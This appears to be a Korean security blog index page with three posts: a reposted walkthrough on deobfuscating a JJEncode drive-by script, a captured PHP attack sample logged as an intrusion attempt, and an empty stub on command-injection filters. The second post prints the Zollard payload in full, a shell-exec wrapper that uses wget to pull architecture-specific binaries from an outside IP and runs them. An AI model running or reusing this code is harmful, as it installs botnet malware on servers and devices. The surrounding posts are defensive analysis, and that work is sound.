'모의해킹'에 해당되는 글 156건

  1. 2014.04.08 JJEncode Script Leads to Drive-By (1)
  2. 2014.03.07 웹사이트 침해시도 탐지코드
  3. 2014.01.13 Command Injection Filters - Web Hacking
2014.04.08 18:31

JJEncode Script Leads to Drive-By

The use of JJEncode in a drive-by download has been around for a couple of years but has been popping up a lot recently. A couple of readers have asked how to deobfuscate this so here’s a walkthrough with a live script.

Here’s an automobile forum that’s been compromised:

Viewing the source code, this link kicks off the infection:

Then from alnera.eu, you end up getting this strange looking Javascript:

What is this? It’s output from JJEncode, a cool script made by Yosuke Hasegawa. It uses only symbols to generate valid Javascript code which, in this case, leads to the compromise of your PC.

2013-07-04_04

There’s a few ways to deobfuscate this script. I’ll show you two ways. Here’s the slow way but this is how you can understand a little of what’s happening.

First make sure you have “<!DOCTYPE>” at the beginning since this only works with HTML 4.0 and above (with IE anyway). If you’re going to use Firefox or other browser then you don’t have to do this. Now search for semi-colons and add a new line in between. Look carefully for the semi-colons in between quotes as you need to leave those alone. What you will likely end up with will look something like this (the bottom portion won’t have any semi-colons to separate on).

2013-07-04_05

Since I’m working on a malicious script, I want to do this carefully so I’m commenting out everything below what I’m working on. There’s an equal sign near the beginning of each line. This indicates that the characters before it is a variable and the characters after is the value. So all I’m doing is “alerting” on the variable so I can see what each line does. Here’s the first one:

2013-07-04_06

Here is the result:

2013-07-04_07

And the second. Notice that I left the first line uncommented. The reason is that it defines the variable “_” so if I comment the first line, nothing will happen on subsequent lines.

2013-07-04_08

Keep going until you reach the line just before the large block of symbols:

2013-07-04_09

The result tells us that this is a function call and if you look closely you at the end of the script, you’ll realize that the major portion of the script is a self-executing function.

2013-07-04_10

So we can just replace “_.$(” with “alert(“:

2013-07-04_11

And we can see the result:

2013-07-04_12

If you want to see how the original code looks like, we can make a change to the very end of the line. From this:

2013-07-04_13

To this:

2013-07-04_14

And then we get this result:

2013-07-04_15

Here’s the second way you can deobfuscate this script. It’s fast and easy but may not work 100% of the time. Just add this to the top like so:

2013-07-04_16

And the final result appears:

2013-07-04_17

Let’s take a look now at the malicious script and applet. The values of the parameters are base64-encoded. The top URL refers to the payload file. The bottom part loads a single Java applet from another URL and a parameter contains a link to the same payload but with a slightly different URL.

2013-07-04_18

This is a new exploit pack that the industry named “DotCacheF” but it looks like they changed the URL format.

The Java applet is not heavily obfuscated but has a low detection rate. Here’s an excerpt of the code that exploiting CVE-2013-2423.

2013-07-04_19

The payload appears to be ZeroAccess.


출처 : www.kahusecurity.com



Trackback 2 Comment 1
  1. Favicon of https://blog.pages.kr 날으는물고기 2014.04.08 18:31 신고 address edit & del reply

    http://utf-8.jp/public/jjencode.html
    https://hackvertor.co.uk/hvurl/2p

2014.03.07 17:33

웹사이트 침해시도 탐지코드

아이피 : 65.185.5.104

organization:Class-Name:organization

organization:ID:NETBLK-ISRR-65.185.0.0-17

organization:Auth-Area:65.185.0.0/17

organization:Org-Name:Road Runner

organization:Tech-Contact:ipaddreg@rr.com

organization:Street-Address:13820 Sunrise Valley Drive

organization:City:Herndon

organization:State:VA

organization:Postal-Code:20171

organization:Country-Code:US

organization:Phone:703-345-3151

organization:Updated:2014-03-06 10:40:50

organization:Created:2014-03-06 10:40:50

organization:Admin-Contact:IPADD-ARIN


탐지코드:

<?php

echo "Zollard";

$disablefunc = @ini_get("disable_functions");

if (!empty($disablefunc))

{

 $disablefunc = str_replace(" ","",$disablefunc);

 $disablefunc = explode(",",$disablefunc);

}

function myshellexec($cmd)

{

 global $disablefunc;

 $result = "";

 if (!empty($cmd))

 {

  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}

  elseif (($result = `$cmd`) !== FALSE) {}

  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}

  elseif (is_resource($fp = popen($cmd,"r")))

  {

   $result = "";

   while(!feof($fp)) {$result .= fread($fp,1024);}

   pclose($fp);

  }

 }

 return $result;

}

myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://65.185.5.104:58455/armeabi;chmod +x /tmp/armeabi");

myshellexec("rm -rf /tmp/arm;wget -P /tmp http://65.185.5.104:58455/arm;chmod +x /tmp/arm");

myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://65.185.5.104:58455/ppc;chmod +x /tmp/ppc");

myshellexec("rm -rf /tmp/mips;wget -P /tmp http://65.185.5.104:58455/mips;chmod +x /tmp/mips");

myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://65.185.5.104:58455/mipsel;chmod +x /tmp/mipsel");

myshellexec("rm -rf /tmp/x86;wget -P /tmp http://65.185.5.104:58455/x86;chmod +x /tmp/x86");

myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://65.185.5.104:58455/nodes;chmod +x /tmp/nodes");

myshellexec("rm -rf /tmp/sig;wget -P /tmp http://65.185.5.104:58455/sig;chmod +x /tmp/sig");

myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");

?>



Trackback 0 Comment 0
2014.01.13 18:17

Command Injection Filters - Web Hacking

Web Application Pentesting





Trackback 0 Comment 0